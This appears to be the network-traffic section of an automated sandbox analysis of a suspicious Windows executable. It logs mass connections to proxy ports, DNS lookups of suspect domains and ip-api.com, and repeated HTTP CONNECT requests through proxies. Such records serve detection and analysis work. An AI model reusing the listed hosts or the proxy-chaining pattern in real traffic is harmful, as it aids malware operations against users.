Mar 11, 2024 15:21:03.668876886 CET	51197	41466	192.168.2.9	138.255.240.66
Mar 11, 2024 15:21:03.668876886 CET	51183	3128	192.168.2.9	193.56.255.179
Mar 11, 2024 15:21:03.668878078 CET	50467	3128	192.168.2.9	213.131.230.161
Mar 11, 2024 15:21:03.668878078 CET	49715	3128	192.168.2.9	122.155.165.191
Mar 11, 2024 15:21:03.668878078 CET	51179	999	192.168.2.9	200.125.184.56
Mar 11, 2024 15:21:03.668879986 CET	51187	8880	192.168.2.9	103.234.24.105
Mar 11, 2024 15:21:03.668883085 CET	51189	31701	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:03.668893099 CET	51177	52577	192.168.2.9	162.214.121.173
Mar 11, 2024 15:21:03.668893099 CET	51191	8080	192.168.2.9	102.216.69.176
Mar 11, 2024 15:21:03.668921947 CET	51193	4145	192.168.2.9	189.201.191.66
Mar 11, 2024 15:21:03.669080019 CET	8080	51273	91.202.230.219	192.168.2.9
Mar 11, 2024 15:21:03.669147015 CET	80	50981	45.139.11.200	192.168.2.9
Mar 11, 2024 15:21:03.669378996 CET	51850	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.669395924 CET	443	51850	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.669450045 CET	443	51850	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.669718981 CET	80	49740	50.220.168.134	192.168.2.9
Mar 11, 2024 15:21:03.669733047 CET	3128	50693	18.135.211.182	192.168.2.9
Mar 11, 2024 15:21:03.669850111 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:03.669866085 CET	80	51478	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.669986963 CET	51478	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.670797110 CET	51478	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.670970917 CET	51852	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.671006918 CET	443	51852	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.671108007 CET	51852	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.671261072 CET	51852	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.671278954 CET	443	51852	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.671324015 CET	443	51852	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.671595097 CET	3128	51483	13.37.89.201	192.168.2.9
Mar 11, 2024 15:21:03.671766043 CET	51483	3128	192.168.2.9	13.37.89.201
Mar 11, 2024 15:21:03.671787024 CET	25125	51548	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:03.672223091 CET	51853	37920	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:03.672241926 CET	51483	3128	192.168.2.9	13.37.89.201
Mar 11, 2024 15:21:03.672607899 CET	51854	27639	192.168.2.9	185.45.194.176
Mar 11, 2024 15:21:03.672844887 CET	51855	80	192.168.2.9	50.169.23.170
Mar 11, 2024 15:21:03.672981977 CET	51856	11474	192.168.2.9	92.205.105.134
Mar 11, 2024 15:21:03.673198938 CET	51857	12339	192.168.2.9	72.10.160.173
Mar 11, 2024 15:21:03.673198938 CET	51858	27718	192.168.2.9	132.148.16.169
Mar 11, 2024 15:21:03.673350096 CET	51859	1981	192.168.2.9	41.65.55.1
Mar 11, 2024 15:21:03.673597097 CET	51860	1080	192.168.2.9	171.250.218.113
Mar 11, 2024 15:21:03.673958063 CET	51861	50753	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:03.674223900 CET	4145	50620	68.71.247.130	192.168.2.9
Mar 11, 2024 15:21:03.674519062 CET	51862	80	192.168.2.9	195.113.113.152
Mar 11, 2024 15:21:03.674541950 CET	17501	50853	202.166.205.242	192.168.2.9
Mar 11, 2024 15:21:03.675088882 CET	51863	18877	192.168.2.9	178.128.207.96
Mar 11, 2024 15:21:03.675317049 CET	80	51224	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.675328016 CET	80	51224	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.675553083 CET	51864	16379	192.168.2.9	51.15.132.215
Mar 11, 2024 15:21:03.675720930 CET	51865	80	192.168.2.9	50.204.219.228
Mar 11, 2024 15:21:03.676367044 CET	51866	52048	192.168.2.9	162.241.79.22
Mar 11, 2024 15:21:03.677110910 CET	51868	55392	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:03.677134991 CET	51867	999	192.168.2.9	200.95.184.58
Mar 11, 2024 15:21:03.677665949 CET	51869	999	192.168.2.9	45.178.133.6
Mar 11, 2024 15:21:03.678133011 CET	51871	22167	192.168.2.9	104.236.0.129
Mar 11, 2024 15:21:03.678303957 CET	51870	999	192.168.2.9	45.231.221.193
Mar 11, 2024 15:21:03.678543091 CET	51872	80	192.168.2.9	104.16.109.143
Mar 11, 2024 15:21:03.678651094 CET	56613	50651	54.38.179.162	192.168.2.9
Mar 11, 2024 15:21:03.678678989 CET	56613	50651	54.38.179.162	192.168.2.9
Mar 11, 2024 15:21:03.678766966 CET	50651	56613	192.168.2.9	54.38.179.162
Mar 11, 2024 15:21:03.678980112 CET	50651	56613	192.168.2.9	54.38.179.162
Mar 11, 2024 15:21:03.679955006 CET	51874	80	192.168.2.9	104.20.103.68
Mar 11, 2024 15:21:03.679971933 CET	51873	3128	192.168.2.9	201.91.82.155
Mar 11, 2024 15:21:03.680138111 CET	80	50186	50.174.7.152	192.168.2.9
Mar 11, 2024 15:21:03.680365086 CET	51875	20289	192.168.2.9	72.10.160.170
Mar 11, 2024 15:21:03.680658102 CET	51876	8080	192.168.2.9	175.100.91.151
Mar 11, 2024 15:21:03.680886030 CET	51877	80	192.168.2.9	77.91.74.77
Mar 11, 2024 15:21:03.681792021 CET	51879	8080	192.168.2.9	103.189.96.98
Mar 11, 2024 15:21:03.681813955 CET	51878	64494	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:03.682336092 CET	51880	80	192.168.2.9	50.170.90.24
Mar 11, 2024 15:21:03.682493925 CET	51881	80	192.168.2.9	104.16.106.154
Mar 11, 2024 15:21:03.683020115 CET	51882	8080	192.168.2.9	80.84.176.110
Mar 11, 2024 15:21:03.683303118 CET	51883	4995	192.168.2.9	116.97.240.147
Mar 11, 2024 15:21:03.683320045 CET	32708	51378	217.23.11.194	192.168.2.9
Mar 11, 2024 15:21:03.683392048 CET	32708	51378	217.23.11.194	192.168.2.9
Mar 11, 2024 15:21:03.683748960 CET	80	51244	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:03.683834076 CET	51244	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:03.684226036 CET	51244	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:03.684458017 CET	51192	8080	192.168.2.9	181.212.45.228
Mar 11, 2024 15:21:03.684470892 CET	51289	80	192.168.2.9	50.204.219.225
Mar 11, 2024 15:21:03.684473038 CET	51182	8080	192.168.2.9	188.132.222.38
Mar 11, 2024 15:21:03.684470892 CET	50260	17538	192.168.2.9	202.165.38.185
Mar 11, 2024 15:21:03.684478045 CET	50351	14066	192.168.2.9	139.59.90.148
Mar 11, 2024 15:21:03.684485912 CET	51186	8123	192.168.2.9	159.8.114.37
Mar 11, 2024 15:21:03.684485912 CET	51202	16487	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.684485912 CET	51188	8090	192.168.2.9	202.191.123.195
Mar 11, 2024 15:21:03.684519053 CET	51203	2016	192.168.2.9	139.59.128.40
Mar 11, 2024 15:21:03.684523106 CET	51196	999	192.168.2.9	177.234.194.158
Mar 11, 2024 15:21:03.684521914 CET	51207	3128	192.168.2.9	5.182.39.25
Mar 11, 2024 15:21:03.684883118 CET	4145	51554	184.170.249.65	192.168.2.9
Mar 11, 2024 15:21:03.684895039 CET	51884	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:03.685192108 CET	80	51498	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:03.685293913 CET	51498	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:03.685674906 CET	51498	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:03.685703993 CET	51885	30670	192.168.2.9	216.10.242.18
Mar 11, 2024 15:21:03.686069012 CET	8080	51254	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:03.686083078 CET	8800	51146	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:03.686229944 CET	51887	80	192.168.2.9	40.127.8.243
Mar 11, 2024 15:21:03.686248064 CET	7302	50146	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:03.686338902 CET	51886	23180	192.168.2.9	67.213.212.53
Mar 11, 2024 15:21:03.686712027 CET	7302	51446	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:03.686820984 CET	51446	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.687622070 CET	51446	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.687629938 CET	51888	80	192.168.2.9	104.25.87.42
Mar 11, 2024 15:21:03.688230038 CET	51889	8811	192.168.2.9	51.158.68.133
Mar 11, 2024 15:21:03.688587904 CET	8800	51441	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:03.688661098 CET	51441	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:03.688905954 CET	51890	3128	192.168.2.9	134.209.29.120
Mar 11, 2024 15:21:03.688963890 CET	51441	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:03.689615011 CET	51891	31948	192.168.2.9	1.179.151.165
Mar 11, 2024 15:21:03.690010071 CET	51892	8998	192.168.2.9	37.32.98.160
Mar 11, 2024 15:21:03.690042019 CET	51893	3128	192.168.2.9	212.192.31.37
Mar 11, 2024 15:21:03.690886021 CET	51894	80	192.168.2.9	174.126.217.110
Mar 11, 2024 15:21:03.690902948 CET	18080	51531	54.178.159.199	192.168.2.9
Mar 11, 2024 15:21:03.690922976 CET	51895	55555	192.168.2.9	8.222.152.158
Mar 11, 2024 15:21:03.691009045 CET	51531	18080	192.168.2.9	54.178.159.199
Mar 11, 2024 15:21:03.691159010 CET	41274	51573	162.241.6.97	192.168.2.9
Mar 11, 2024 15:21:03.691282988 CET	51531	18080	192.168.2.9	54.178.159.199
Mar 11, 2024 15:21:03.691473007 CET	51896	8080	192.168.2.9	202.58.18.27
Mar 11, 2024 15:21:03.691967964 CET	51897	57658	192.168.2.9	112.98.218.73
Mar 11, 2024 15:21:03.691967964 CET	51898	57642	192.168.2.9	107.180.88.41
Mar 11, 2024 15:21:03.692321062 CET	51899	8199	192.168.2.9	103.115.20.52
Mar 11, 2024 15:21:03.692800999 CET	51900	3128	192.168.2.9	210.179.101.88
Mar 11, 2024 15:21:03.692846060 CET	1599	50453	72.10.160.172	192.168.2.9
Mar 11, 2024 15:21:03.693278074 CET	51901	9999	192.168.2.9	102.215.197.206
Mar 11, 2024 15:21:03.694333076 CET	51902	8888	192.168.2.9	47.74.152.29
Mar 11, 2024 15:21:03.694647074 CET	51903	25709	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.694885015 CET	51904	3128	192.168.2.9	155.185.15.56
Mar 11, 2024 15:21:03.695672035 CET	51905	999	192.168.2.9	177.93.45.154
Mar 11, 2024 15:21:03.695772886 CET	51906	1994	192.168.2.9	186.159.6.163
Mar 11, 2024 15:21:03.696038961 CET	51907	1111	192.168.2.9	101.255.166.134
Mar 11, 2024 15:21:03.696132898 CET	4153	50062	103.94.133.91	192.168.2.9
Mar 11, 2024 15:21:03.696610928 CET	51908	3547	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:03.696965933 CET	51909	48783	192.168.2.9	24.90.38.88
Mar 11, 2024 15:21:03.697436094 CET	8118	51029	88.99.131.6	192.168.2.9
Mar 11, 2024 15:21:03.697449923 CET	11537	51225	38.127.172.28	192.168.2.9
Mar 11, 2024 15:21:03.697463989 CET	51910	5678	192.168.2.9	121.141.50.246
Mar 11, 2024 15:21:03.697587967 CET	51029	8118	192.168.2.9	88.99.131.6
Mar 11, 2024 15:21:03.697827101 CET	51029	8118	192.168.2.9	88.99.131.6
Mar 11, 2024 15:21:03.698227882 CET	60069	51563	148.72.23.56	192.168.2.9
Mar 11, 2024 15:21:03.698523998 CET	51563	60069	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:03.698523998 CET	51563	60069	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:03.698563099 CET	21358	50102	66.42.60.190	192.168.2.9
Mar 11, 2024 15:21:03.698678017 CET	51911	59991	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:03.698970079 CET	80	51250	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:03.699172020 CET	51912	3128	192.168.2.9	128.199.150.158
Mar 11, 2024 15:21:03.699181080 CET	80	50367	50.168.163.177	192.168.2.9
Mar 11, 2024 15:21:03.699286938 CET	51914	80	192.168.2.9	203.24.102.86
Mar 11, 2024 15:21:03.699336052 CET	51913	1080	192.168.2.9	185.54.178.193
Mar 11, 2024 15:21:03.699848890 CET	51915	29821	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.700038910 CET	51916	61070	192.168.2.9	203.161.32.242
Mar 11, 2024 15:21:03.700093985 CET	51205	17464	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:03.700103045 CET	50291	4145	192.168.2.9	101.51.196.145
Mar 11, 2024 15:21:03.700103998 CET	51208	80	192.168.2.9	178.128.200.87
Mar 11, 2024 15:21:03.700103998 CET	51206	22082	192.168.2.9	173.249.33.122
Mar 11, 2024 15:21:03.700105906 CET	51212	4145	192.168.2.9	103.229.85.249
Mar 11, 2024 15:21:03.700108051 CET	50746	32261	192.168.2.9	72.10.160.171
Mar 11, 2024 15:21:03.700133085 CET	50167	57320	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.700866938 CET	50109	49886	31.24.44.92	192.168.2.9
Mar 11, 2024 15:21:03.701080084 CET	51917	44029	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:03.701334000 CET	51918	4153	192.168.2.9	200.43.231.4
Mar 11, 2024 15:21:03.701538086 CET	51919	80	192.168.2.9	61.92.189.15
Mar 11, 2024 15:21:03.701931953 CET	4145	51124	184.178.172.11	192.168.2.9
Mar 11, 2024 15:21:03.702382088 CET	51920	3128	192.168.2.9	161.35.88.210
Mar 11, 2024 15:21:03.702745914 CET	51921	5000	192.168.2.9	116.105.169.127
Mar 11, 2024 15:21:03.703037024 CET	51922	8000	192.168.2.9	24.144.95.218
Mar 11, 2024 15:21:03.703324080 CET	51923	4145	192.168.2.9	199.187.210.54
Mar 11, 2024 15:21:03.703393936 CET	80	51608	104.16.108.204	192.168.2.9
Mar 11, 2024 15:21:03.703430891 CET	4145	51452	103.200.135.228	192.168.2.9
Mar 11, 2024 15:21:03.703469992 CET	51608	80	192.168.2.9	104.16.108.204
Mar 11, 2024 15:21:03.703526974 CET	51452	4145	192.168.2.9	103.200.135.228
Mar 11, 2024 15:21:03.703790903 CET	51608	80	192.168.2.9	104.16.108.204
Mar 11, 2024 15:21:03.704025984 CET	51452	4145	192.168.2.9	103.200.135.228
Mar 11, 2024 15:21:03.704235077 CET	51924	80	192.168.2.9	50.217.226.41
Mar 11, 2024 15:21:03.704308987 CET	9090	51462	91.241.217.58	192.168.2.9
Mar 11, 2024 15:21:03.704570055 CET	51925	8080	192.168.2.9	1.2.252.65
Mar 11, 2024 15:21:03.704651117 CET	51462	9090	192.168.2.9	91.241.217.58
Mar 11, 2024 15:21:03.704790115 CET	51462	9090	192.168.2.9	91.241.217.58
Mar 11, 2024 15:21:03.705102921 CET	51926	15294	192.168.2.9	184.178.172.28
Mar 11, 2024 15:21:03.705516100 CET	51927	4850	192.168.2.9	192.169.226.96
Mar 11, 2024 15:21:03.705804110 CET	80	51360	77.48.244.78	192.168.2.9
Mar 11, 2024 15:21:03.705849886 CET	51928	1981	192.168.2.9	154.236.179.226
Mar 11, 2024 15:21:03.706775904 CET	51929	8080	192.168.2.9	202.62.11.200
Mar 11, 2024 15:21:03.707474947 CET	51930	5678	192.168.2.9	81.16.1.71
Mar 11, 2024 15:21:03.708271980 CET	51931	9002	192.168.2.9	120.197.160.2
Mar 11, 2024 15:21:03.708555937 CET	51932	999	192.168.2.9	157.100.6.202
Mar 11, 2024 15:21:03.708583117 CET	8899	50777	117.160.250.134	192.168.2.9
Mar 11, 2024 15:21:03.708837032 CET	8899	50777	117.160.250.134	192.168.2.9
Mar 11, 2024 15:21:03.708848953 CET	8899	50777	117.160.250.134	192.168.2.9
Mar 11, 2024 15:21:03.708894968 CET	80	50250	50.174.214.222	192.168.2.9
Mar 11, 2024 15:21:03.708908081 CET	6879	50462	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:03.708923101 CET	50777	8899	192.168.2.9	117.160.250.134
Mar 11, 2024 15:21:03.708951950 CET	10977	50465	67.43.227.226	192.168.2.9
Mar 11, 2024 15:21:03.709111929 CET	80	51627	172.67.181.20	192.168.2.9
Mar 11, 2024 15:21:03.709178925 CET	51627	80	192.168.2.9	172.67.181.20
Mar 11, 2024 15:21:03.709283113 CET	50777	8899	192.168.2.9	117.160.250.134
Mar 11, 2024 15:21:03.709769011 CET	51627	80	192.168.2.9	172.67.181.20
Mar 11, 2024 15:21:03.709791899 CET	1081	51491	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:03.709872007 CET	51491	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:03.710302114 CET	51491	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:03.710681915 CET	51933	48623	192.168.2.9	148.72.215.79
Mar 11, 2024 15:21:03.711102962 CET	51934	5678	192.168.2.9	46.209.100.252
Mar 11, 2024 15:21:03.711318016 CET	51935	8080	192.168.2.9	142.147.114.50
Mar 11, 2024 15:21:03.711396933 CET	80	51530	50.174.145.8	192.168.2.9
Mar 11, 2024 15:21:03.711719036 CET	51936	8089	192.168.2.9	125.87.89.228
Mar 11, 2024 15:21:03.711896896 CET	51937	42771	192.168.2.9	162.240.239.103
Mar 11, 2024 15:21:03.712007046 CET	51938	6961	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.712353945 CET	51939	999	192.168.2.9	179.49.160.32
Mar 11, 2024 15:21:03.712574959 CET	51940	80	192.168.2.9	85.214.118.98
Mar 11, 2024 15:21:03.712709904 CET	51941	1080	192.168.2.9	194.226.164.214
Mar 11, 2024 15:21:03.713012934 CET	51942	80	192.168.2.9	50.122.86.118
Mar 11, 2024 15:21:03.713121891 CET	51943	43100	192.168.2.9	142.4.7.20
Mar 11, 2024 15:21:03.713540077 CET	51945	80	192.168.2.9	104.25.244.70
Mar 11, 2024 15:21:03.713599920 CET	51944	4153	192.168.2.9	176.197.144.158
Mar 11, 2024 15:21:03.714118004 CET	51946	42072	192.168.2.9	208.109.14.49
Mar 11, 2024 15:21:03.714195967 CET	3128	51104	3.122.84.99	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2024 15:20:58.851737976 CET	192.168.2.9	1.1.1.1	0xb7f4	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:04.353260994 CET	192.168.2.9	1.1.1.1	0x2539	Standard query (0)	heygirlisheeverythingyouwantedinaman.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:09.277901888 CET	192.168.2.9	1.1.1.1	0x2bf5	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:10.263139963 CET	192.168.2.9	1.1.1.1	0x2bf5	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:14.924329042 CET	192.168.2.9	1.1.1.1	0x5476	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:16.834296942 CET	192.168.2.9	1.1.1.1	0x8426	Standard query (0)	mail.supplyvan.xyz	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:31.695220947 CET	192.168.2.9	1.1.1.1	0x8cd9	Standard query (0)	mail.supplyvan.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2024 15:20:59.006510973 CET	1.1.1.1	192.168.2.9	0xb7f4	No error (0)	github.com		140.82.114.3	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:04.536312103 CET	1.1.1.1	192.168.2.9	0x2539	No error (0)	heygirlisheeverythingyouwantedinaman.com		172.67.190.93	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:04.536312103 CET	1.1.1.1	192.168.2.9	0x2539	No error (0)	heygirlisheeverythingyouwantedinaman.com		104.21.57.121	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:10.599328041 CET	1.1.1.1	192.168.2.9	0x2bf5	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:10.599343061 CET	1.1.1.1	192.168.2.9	0x2bf5	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:15.079637051 CET	1.1.1.1	192.168.2.9	0x5476	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:16.997911930 CET	1.1.1.1	192.168.2.9	0x8426	Name error (3)	mail.supplyvan.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 11, 2024 15:21:31.859026909 CET	1.1.1.1	192.168.2.9	0x8cd9	Name error (3)	mail.supplyvan.xyz	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49770	203.34.28.166	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.348984957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.506874084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49771	104.23.107.172	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.352986097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.511104107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49764	37.187.77.58	52593	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.369896889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49777	104.20.123.164	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.372431993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.526539087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49752	92.204.135.203	29212	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.382504940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.919209003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.590766907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.934484005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49730	8.217.44.229	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.418317080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

